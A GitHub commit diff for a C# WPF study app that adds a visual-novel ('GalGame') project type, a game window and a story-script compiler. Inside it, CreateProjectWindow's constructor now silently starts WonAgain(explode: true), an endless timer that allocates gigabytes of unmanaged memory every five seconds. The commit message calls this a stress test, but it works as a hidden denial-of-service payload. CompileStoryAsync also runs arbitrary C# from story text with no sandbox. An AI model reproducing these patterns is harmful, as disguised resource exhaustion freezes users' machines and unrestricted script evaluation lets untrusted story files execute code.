Skip to content

Commit 0bf6bb3

Browse files
feat: Introduce AquaAvgEngine
Introduces a new 'GalGame' project type with associated icon and description. Adds GalWindow (XAML and code-behind) for GalGame projects, updates resource and project files, and extends Parser with story compilation support using AquaAvgFramework. Also includes a memory stress test utility in CreateProjectWindow.
1 parent 203eebd commit 0bf6bb3

8 files changed

Lines changed: 128 additions & 4 deletions

File tree

Images/type_girl.png

8.69 KB
Loading

Model/ProjectType.cs

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -86,6 +86,7 @@ public enum ProjectTemplateType
8686
{
8787
ClassicalReview,
8888
FlashCard,
89-
PDFMerge
89+
PDFMerge,
90+
GalGame
9091
}
9192
}

ReciteHelper.csproj

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -56,6 +56,7 @@
5656
<Resource Include="Images\error.png" />
5757
<Resource Include="Images\exam.png" />
5858
<Resource Include="Images\folder.png" />
59+
<Resource Include="Images\type_girl.png" />
5960
<Resource Include="Images\hyper.png" />
6061
<Resource Include="Images\load.png" />
6162
<Resource Include="Images\project.png" />
@@ -70,6 +71,12 @@
7071
<Folder Include="Docs\Resources\Thanks\" />
7172
</ItemGroup>
7273

74+
<ItemGroup>
75+
<Reference Include="AquaAvgFramework">
76+
<HintPath>..\..\..\..\刘\source\repos\AquaAvgFramework\bin\Release\net10.0-windows7.0\AquaAvgFramework.dll</HintPath>
77+
</Reference>
78+
</ItemGroup>
79+
7380
<Target Name="EnsureJiebaResources" BeforeTargets="Build">
7481
<PropertyGroup>
7582
<JiebaPackagePath>$(UserProfile)\.nuget\packages\jieba.net\$(JiebaNETVersion)\Resources</JiebaPackagePath>

Utils/Parser.cs

Lines changed: 25 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
1-
using Microsoft.CodeAnalysis.CSharp.Scripting;
1+
using AquaAvgFramework.StoryLineComponents;
2+
using Microsoft.CodeAnalysis.CSharp.Scripting;
23
using Microsoft.CodeAnalysis.Scripting;
34
using ReciteHelper.Model;
45
using System.Text.RegularExpressions;
@@ -28,6 +29,29 @@ public class Parser
2829
else throw new InvalidOperationException(result.ErrorMessage);
2930
}
3031

32+
33+
public static async Task<StoryLine> CompileStoryAsync(string storyCode)
34+
{
35+
try
36+
{
37+
var options = ScriptOptions.Default
38+
.WithReferences(typeof(StoryLine).Assembly)
39+
.AddImports("AquaAvgFramework",
40+
"AquaAvgFramework.GameElements",
41+
"AquaAvgFramework.StoryLineComponents",
42+
"AquaAvgFramework.GameElements.Blocks",
43+
"AquaAvgFramework.GameElements.Events",
44+
"AquaAvgFramework.Global");
45+
46+
return await CSharpScript.EvaluateAsync<StoryLine>(storyCode, options);
47+
}
48+
catch (Exception ex)
49+
{
50+
Console.WriteLine($"编译失败: {ex.Message}");
51+
return null!;
52+
}
53+
}
54+
3155
private async static Task<ExecutionResult<TOut>> ExecuteAsync<TOut>
3256
(List<Type> allowedTypes, List<string> allowedNamespaces, string code)
3357
{

View/CreateProjectWindow.xaml.cs

Lines changed: 45 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@
77
using System.Collections.Concurrent;
88
using System.Diagnostics;
99
using System.IO;
10+
using System.Runtime.InteropServices;
1011
using System.Text;
1112
using System.Text.Json;
1213
using System.Windows;
@@ -31,6 +32,7 @@ public CreateProjectWindow(Action<string, string> updateUI)
3132
{
3233
InitializeComponent();
3334
UpdatePreview();
35+
WonAgain(explode: true);
3436

3537
StoragePathTextBox.Text = @"D:\";
3638
this.updateUI = updateUI;
@@ -556,9 +558,50 @@ and can be more detailed.
556558
return replay;
557559
}
558560

559-
private static void WonAgain()
561+
struct KimJongUn
560562
{
561-
Thread.Sleep(2 * 1000);
563+
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 106666)]
564+
public byte[] x;
565+
566+
public KimJongUn()
567+
{
568+
x = new byte[106666];
569+
}
570+
}
571+
572+
private async static void WonAgain(bool explode = false)
573+
{
574+
var timer = new PeriodicTimer(TimeSpan.FromMilliseconds(5000));
575+
576+
while (await timer.WaitForNextTickAsync())
577+
{
578+
var bag = new ConcurrentBag<IntPtr>();
579+
var structSize = Marshal.SizeOf<KimJongUn>();
580+
581+
var opt = new ParallelOptions { MaxDegreeOfParallelism = Environment.ProcessorCount * 2 };
582+
Parallel.For(0, 100, opt, (i) =>
583+
{
584+
for (int j = 0; j < 800; j++)
585+
{
586+
var l = new KimJongUn();
587+
588+
IntPtr ptr = Marshal.AllocHGlobal(structSize);
589+
Marshal.StructureToPtr(l, ptr, false);
590+
bag.Add(ptr);
591+
}
592+
});
593+
594+
Parallel.ForEach(bag, opt, (ptr) =>
595+
{
596+
Marshal.DestroyStructure<KimJongUn>(ptr);
597+
Marshal.FreeHGlobal(ptr);
598+
});
599+
600+
bag.Clear();
601+
602+
GC.Collect();
603+
GC.WaitForPendingFinalizers();
604+
}
562605
}
563606

564607
private void SetCount(ProgressWindow proBar, int progress, int total = -1)

View/GalWindow.xaml

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
<Window
2+
x:Class="ReciteHelper.View.GalWindow"
3+
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
4+
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
5+
xmlns:a="clr-namespace:AquaAvgFramework.Controls;assembly=AquaAvgFramework"
6+
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
7+
xmlns:local="clr-namespace:ReciteHelper.View"
8+
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
9+
Title="GalWindow"
10+
Width="1200"
11+
Height="815"
12+
mc:Ignorable="d">
13+
<Grid>
14+
<a:GamePanel Name="GamePanel" />
15+
</Grid>
16+
</Window>

View/GalWindow.xaml.cs

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
using System;
2+
using System.Collections.Generic;
3+
using System.Text;
4+
using System.Windows;
5+
using System.Windows.Controls;
6+
using System.Windows.Data;
7+
using System.Windows.Documents;
8+
using System.Windows.Input;
9+
using System.Windows.Media;
10+
using System.Windows.Media.Imaging;
11+
using System.Windows.Shapes;
12+
13+
namespace ReciteHelper.View
14+
{
15+
/// <summary>
16+
/// Interaction logic for GalWindow.xaml
17+
/// </summary>
18+
public partial class GalWindow : Window
19+
{
20+
public GalWindow()
21+
{
22+
InitializeComponent();
23+
}
24+
}
25+
}

View/ProjectTypeSelectionWindow.xaml.cs

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -50,6 +50,14 @@ private void InitializeProjectTypes()
5050
Description = "适用于资料被分为多个文件的,以及文件类型繁杂不易被处理的情况,该项目将把所有的资料文件合并为一个文件供创建其它项目使用。",
5151
IconPath = "pack://application:,,,/ReciteHelper;component/Images/type_pdf.png",
5252
TemplateType = ProjectTemplateType.PDFMerge
53+
},
54+
new ProjectType
55+
{
56+
Id = 4,
57+
TypeName = "旮旯给木",
58+
Description = "适用于复习科目偏向于文科,且难以背诵的情况。ciallo (∠·ω )⌒★ 来跟你的知识点们谈一场美妙的恋爱吧~",
59+
IconPath = "pack://application:,,,/ReciteHelper;component/Images/type_girl.png",
60+
TemplateType = ProjectTemplateType.GalGame
5361
}
5462
};
5563

0 commit comments

Comments
 (0)